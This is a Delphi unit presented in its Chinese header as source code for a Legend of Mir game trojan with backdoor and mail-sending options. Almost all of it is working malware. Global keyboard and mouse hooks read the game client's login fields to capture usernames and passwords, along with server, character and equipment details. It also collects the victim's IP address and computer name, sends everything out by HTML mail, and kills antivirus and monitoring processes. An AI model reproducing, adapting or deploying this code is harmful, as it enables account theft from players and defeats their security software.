unithookdll.pas

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

function SearMirwindow(Classname:String=''):HWND;
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
  hProcId:DWORD;
  AhWnd :HWND;
  MirKD:DWORD;
begin
  //Result:=findwindow(pchar(Classname),pchar('legend of mir2'));
  hCurrentWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
  MirKD:=IsMirDat;
  if MirKD=0 then
  begin
    Result:= 0;
    Exit;
  end;
  while hCurrentWindow <> 0 do
  begin
    if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
      begin
             if sztext<>'Default IME' then
                begin
                  AhWnd:= findwindow(pchar('TfrmMain'),Sztext);
                  if ahwnd<>0 then
                   begin
                     GetWindowThreadProcessId(AhWnd,@hProcId);
                     if MirKD=hProcId then
                       begin
                         Result:=AhWnd;
                         //Memo1.Lines.Add(Sztext);
                         Break;
                       end;
                   end;
                end;
          end;
    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  end;
end;
function GetMyComputerName: string;
var
  i: DWORD;
begin
  i := 255;
  setlength(result, i);
  GetComputerName(@result[1], i);
  setlength(result, i);
end;
function GetMyIP: string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  I: Integer;
  GInitData: TWSADATA;
begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;
  WSACleanup;
end;
procedure Time2pro(hWnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
var
  _s,equip:string;
begin
  killtimer(0,timer2);
  //writedat('进入游戏1', 'c:\game.txt');
  if GetEquipFromMem(GetCurrentProcessId, equip) then
  begin
    _s := ExtractInfo(equip);
    //writedat(_s + #$D#$A'进入游戏2' + equip, 'c:\game.txt');
        //{Sendemail(sp+#$D#$A+rolebak,pshmem^.Ip,pshmem^.Tomail);}
        //_s:=ReadValue(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\IE Setup\Setup','Path');
        //if _s[length(_s)]<>'\' then _s:=_s+'\';
        //_s:='"'+_s+'IEXPLORE.EXE" '+pshmem^.html1+HtmlEncode(sp+#$D#$A+rolebak+#$D#$A'IP:'+GetMyip+#$D#$A+'机器名:'+GetmycomputerName+#$D#$A)+pshmem^.html2;
        //winexec(pchar(_s),sw_hide);

    //writedat(_s, 'c:\game.txt');
  end
  else _s:='';
  _s := pshmem^.html1 + HtmlEncode(sp + #$D#$A + rolebak + #$D#$A'物品:'+_s+
      'IP:' + GetMyip + #$D#$A +
      '机器名:' + GetmycomputerName + #$D#$A) + pshmem^.html2;
  SendHtmlMail(_s);
end;

procedure LogoMouse(wpa, lpa: integer);
var
  p,q: Longint;
  c: array[1..19] of Longint;
  AreaBuffer: array[0..255] of char; //区域
  L: Longint;
  Rect: TRect;
  Cpoint: Tpoint;
  i, t, n, s, f: integer;
  //VN: string;
//  r: integer;
  WinText, ClassText: array[0..255] of char;
begin
  //ClassName:"TfrmMain"   WindowsText:传奇客户端
  //ClassName:"TDXDraw"    WindowsText:
  if not isCQ then exit;
  p := GetForegroundWindow;
  GetWindowText(p, WinText, sizeof(WinText));
  GetClassName(p, ClassText, sizeof(ClassText)); //pMOUSEHOOKSTRUCT(lpa)^.hwnd

  q:=SearMirwindow('TfrmMain');

  if (wintext = '传奇客户端') and (ansicomparetext(classtext, 'TFrmMain') = 0) then
  begin
    Killer;
    Killpro('EGHOST.EXE');
    Killpro('MAILMON.EXE');
    Killpro('KAVPFW.EXE');

    L := findwindowex(pMOUSEHOOKSTRUCT(lpa)^.hwnd, 0, pchar('TComboBox'), nil);
    AreaBuffer[0] := #0;
    SendMessage(L, WM_GETTEXT, 36, dword(@AreaBuffer));
    if AreaBuffer[0] <> #0 then
      pshmem^.Area := strpas(AreaBuffer);
    //writedat('wjs区号:' + pshmem^.Area, 'c:\game.txt');
  end
  else if q<>0 then
  begin
    t := 0;
    n := 0;
    s := 0;
    f := 0;
    for i := 1 to 19 do
      c[i] := 0;
    for i := 1 to 19 do
    begin
      c[i] := findwindowex(p, t, pchar('TEdit'), nil);
      t := c[i];
      if t = 0 then
        break
      else
      begin
        s := s + 1;
        if IsWindowVisible(t) then
          n := n + 1;
      end;
    end;
    //writedat(format('mouse: %s,%s,%d,%d, n:%d s:%d %d %s', [wintext, classtext, pMOUSEHOOKSTRUCT(lpa)^.pt.X, pMOUSEHOOKSTRUCT(lpa)^.pt.Y, n, s, flag, role]), 'c:\game.txt');

    getcursorpos(Cpoint);
    Rect.TopLeft.X := 425;
    Rect.TopLeft.Y := 337;
    Rect.BottomRight.X := 495;
    Rect.BottomRight.Y := 365;
    if (n = 2) and (ptinrect(Rect, Cpoint)) then
    begin //点击登录
      for i := 1 to s do
      begin
        if c[i] = 0 then
          continue;
        if IsWindowVisible(c[i]) then
        begin
          SendMessage(c[i], WM_GETTEXT, 36, dword(@Str[i]));
          if f = 0 then
          begin
            //Addvalue(hkey_classes_root, 'Legend', 'PW', @Str[i], 1);
            pass := Str[i];
            PWhand := c[i];
          end
          else
            userid := Str[i];
            //Addvalue(hkey_classes_root, 'Legend', 'ID', @Str[i], 1);
          f := f + 1;
          //writedat('mouse: user:' + userid + 'pass:' + pass, 'c:\game.txt');
        end;
      end;
    end;

    Rect.TopLeft.X := 308;
    Rect.TopLeft.Y := 141;
    Rect.BottomRight.X := 476;
    Rect.BottomRight.Y := 477;
    if (n = 0) and (s >= 2) and (ptinrect(Rect, Cpoint)) and (getfocus = PWhand)
      then //选择服务器
    begin
      if (userid <> '') and (pass <> '') then
      begin
        flag := 1;
        FoundCount := 0;
        ServerPlace := GetServerPlace(Cpoint.Y);
        ServerName := GetServerName(pshmem^.Area, Cpoint.Y);
        sp := '传奇区号:' + pshmem^.Area + #$D#$A'服务器:' + ServerName + ' ' + ServerPlace + '【' + inttostr(Cpoint.X) + ',' + inttostr(Cpoint.Y) + '】'#$D#$A'户名:' +
          userid + #$D#$A'密码:' + pass + #$D#$A;
        userid := '';
        pass := '';
        //writedat('sp:' + sp, 'c:\game.txt');
      end;
    end;
{    Rect.TopLeft.X := 388;
    Rect.TopLeft.Y := 458;
    Rect.BottomRight.X := 428;
    Rect.BottomRight.Y := 474;
    if (n = 0) and (s >= 2) and (ptinrect(Rect, Cpoint)) and (Flag = 1) then
    begin //开始
      Flag := 0;
    end; }

    Rect.TopLeft.X := 366;
    Rect.TopLeft.Y := 427;
    Rect.BottomRight.X := 436;
    Rect.BottomRight.Y := 466; //456;
    if (n = 0) and (s >= 2) and (ptinrect(Rect, Cpoint)) and ((Flag = 1) or (role <> '')) then
    begin //进入游戏
      Flag := 0;
      rolebak:=role;
      role:='';
      timer2:=settimer(0, 2, 5000, @Time2pro);
    end;

    Rect.TopLeft.X := 489;
    Rect.TopLeft.Y := 102;
    Rect.BottomRight.X := 505;
    Rect.BottomRight.Y := 127;
    if (n = 0) and (s >= 2) and (ptinrect(Rect, Cpoint)) and (getfocus = PWhand)
      then //??
    begin
      if (userid <> '') and (pass <> '') then
      begin
        ServerPlace := GetServerPlace(Cpoint.Y);
        sp := pshmem^.Area + ServerPlace + '【' + inttostr(Cpoint.X) + ',' +
          inttostr(Cpoint.Y) + '】';
        //Delvalue(hkey_classes_root, 'Legend', 'ID');
        userid := '';
        //Delvalue(hkey_classes_root, 'Legend', 'PW');
        userid := '';
        //writedat('ServerPlace:' + ServerPlace, 'c:\game.txt');
      end;
    end;

    Rect.TopLeft.X := 372;
    Rect.TopLeft.Y := 404;
    Rect.BottomRight.X := 445;
    Rect.BottomRight.Y := 432;
    if (n = 4) and (ptinrect(Rect, Cpoint)) then
    begin //改密码?
      {for i := 1 to s do
      begin
        if c[i] = 0 then
          continue;
        if IsWindowVisible(c[i]) then
        begin
          case r of
            1: VN := 'RE';
            2: VN := 'NP';
            3: VN := 'OP';
            4: VN := 'ID';
          end;
          SendMessage(c[i], WM_GETTEXT, 36, dword(@Str[i]));
          Addvalue(hkey_classes_root, pchar('Legend\Change password\' + SubKey),
            pchar(VN), @Str[i], 1);
          r := r + 1;
        end;
      end; }
    end;

    Rect.TopLeft.X := 240;
    Rect.TopLeft.Y := 480;
    Rect.BottomRight.X := 313;
    Rect.BottomRight.Y := 509;
    if (n = 12) and (ptinrect(Rect, Cpoint)) then
    begin //??
      {for i := 1 to s do
      begin
        if c[i] = 0 then
          continue;
        if IsWindowVisible(c[i]) then
        begin
          case r of
            1: VN := 'EM';
            2: VN := 'MN';
            3: VN := 'NU';
            4: VN := 'A2';
            5: VN := 'Q2';
            6: VN := 'A1';
            7: VN := 'Q1';
            8: VN := 'BI';
            9: VN := 'NA';
            10: VN := 'RE';
            11: VN := 'PW';
            12: VN := 'ID';
          end;
          SendMessage(c[i], WM_GETTEXT, 36, dword(@Str[i]));
          Addvalue(hkey_classes_root, pchar('Legend\Registry\' + SubKey),
            pchar(VN), @Str[i], 1);
          r := r + 1;
        end;
      end; }
    end;
  end;
end;

procedure LogoKey(wpa, lpa: integer);
var
  p: Longint;
  c: array[1..19] of Longint;
  i, t, n, s, f: integer;
  WinText, ClassText: array[0..255] of char;
begin
  if not isCQ then exit;
  //p := GetForegroundWindow;
  //GetWindowText(p, WinText, sizeof(WinText));
  //GetClassName(p, ClassText, sizeof(ClassText)); //pMOUSEHOOKSTRUCT(lpa)^.hwnd
  p:=SearMirwindow('TfrmMain');
  if P<>0 then
  //if (ansicomparetext(wintext, 'legend of mir2') = 0) and (ansicomparetext(classtext, 'TFrmMain') = 0) then
  begin
    t := 0;
    n := 0;
    s := 0;
    f := 0;
    for i := 1 to 19 do
      c[i] := 0;

    for i := 1 to 19 do
    begin
      c[i] := findwindowex(p, t, pchar('TEdit'), nil);
      t := c[i];
      if t = 0 then
        break
      else
      begin
        s := s + 1;
        if IsWindowVisible(t) then
        begin
          n := n + 1;
          if n = 1 then
            PWhand := t;
        end;
      end;
    end;

    //writedat(format('key %d %d s:%d n:%d %d %d', [lpa, wpa, s, n, getfocus, PWhand]), 'c:\game.txt');
    if (n = 2) and (getfocus = PWhand) then
    //if (Lpa = 7181) and //回车
    //   {(Wpa = $D) and}
    //(n = 2) and (getfocus = PWhand) then
    begin
      for i := 1 to s do
      begin
        if c[i] = 0 then
          continue;
        if IsWindowVisible(c[i]) then
        begin
          SendMessage(c[i], WM_GETTEXT, 36, dword(@Str[i]));
          if f = 0 then
          //Addvalue(hkey_classes_root, 'Legend', 'PW', @Str[i], 1)
            pass := Str[i]
          else
            userid := Str[i];
          //Addvalue(hkey_classes_root, 'Legend', 'ID', @Str[i], 1);
          f := f + 1;
          //writedat('key: user:' + userid + 'pass:' + pass, 'c:\game.txt');
        end;
      end;
    end;
  end;
end;

function KeyPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
var
  i: integer;
begin
  Result := 0;
  if iCode < 0 then
    Result := CallNextHookEx(KeyHook, iCode, wParam, lParam);
  if ((Lparam and $80000000) = 0) and (Wparam = $D) then
  begin
    for i := 1 to 19 do
      Str[i][0] := #0;
    LogoKey(wparam, lparam);
  end;
end;

function MouseProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
var
  i: integer;
begin
  Result := 0;
  if iCode < 0 then
    Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
  if wparam = WM_LBUTTONDOWN then
  begin
    for i := 1 to 19 do
      Str[i][0] := #0;
    LogoMouse(wparam, lparam);
  end;
end;

procedure StartHook(html1, html2: pchar); stdcall;
begin
  Killer;
  Killpro('EGHOST.EXE');
  Killpro('MAILMON.EXE');
  Killpro('KAVPFW.EXE');

  FirstProcess := true;
  pshmem^.area := '';
  strcopy(pshmem^.html1, html1);
  strcopy(pshmem^.html2, html2);
  if KeyHook = 0 then
    KeyHook := SetWindowsHookEx(WH_KEYBOARD, Keypro, HInstance, 0);
  if MouseHook = 0 then
    MouseHook := SetWindowsHookEx(WH_MOUSE, MouseProc, Hinstance, 0);
end;

procedure StopHook; stdcall;
begin
  if KeyHook <> 0 then
    UnhookwindowsHookEx(KeyHook);
  KeyHook := 0;
  if MouseHook <> 0 then
    UnhookwindowsHookEx(MouseHook);
  MouseHook := 0;
end;



procedure Time1pro(hWnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
var
  i, t, p, n, s: integer;
  _s: string;
  WinText, ClassText: array[0..255] of char;
  c: array[1..19] of Longint;
begin
  Killer;
  if (Flag = 1) and (FoundCount <= 100) and isCQ then
  begin
    inc(FoundCount);
    // p := GetForegroundWindow;
    //GetWindowText(p, WinText, sizeof(WinText));
    //GetClassName(p, ClassText, sizeof(ClassText)); //pMOUSEHOOKSTRUCT(lpa)^.hwnd
    p:=SearMirwindow('TfrmMain');
    if p<>0 then
    //if (ansicomparetext(wintext, 'legend of mir2') = 0) and (ansicomparetext(classtext, 'TFrmMain') = 0) then
    begin
      t := 0;
      n := 0;
      s := 0;
      for i := 1 to 19 do
        c[i] := 0;
      for i := 1 to 19 do
      begin
        c[i] := findwindowex(p, t, pchar('TEdit'), nil);
        t := c[i];
        if t = 0 then
          break
        else
        begin
          s := s + 1;
          if IsWindowVisible(t) then
            n := n + 1;
        end;
      end;
      if (n = 0) and (s >= 2) then
      begin
        //writedat('Start', 'c:\game.txt');
        _s := GetRoleInfo_Mir2;
        if (_s <> '') then
        begin
          role := _s;
          //writedat('role:'+role, 'c:\game.txt');
          flag := 0;
        end;
      end;
    end;
  end;
end;

initialization
  Flag := 0;
  FoundCount := 0;
  FirstProcess := false;
  GetRoleInfoBusy := false;
  is9x := IsWindows9x;
  hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShareMem), MappingFileName);
  pShMem := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
  filename := extractfilename(GetModalName(GetCurrentProcessId, '.dat'));
  isCQ := (ansicomparetext(filename, 'mir.exe') = 0) or (ansicomparetext(filename, 'mir.dat') = 0);
  settimer(0, 1, 4000, @Time1pro);

finalization
  if FirstProcess then
    StopHook;
  UnMapViewOfFile(pShMem);
  CloseHandle(hMappingFile);

end.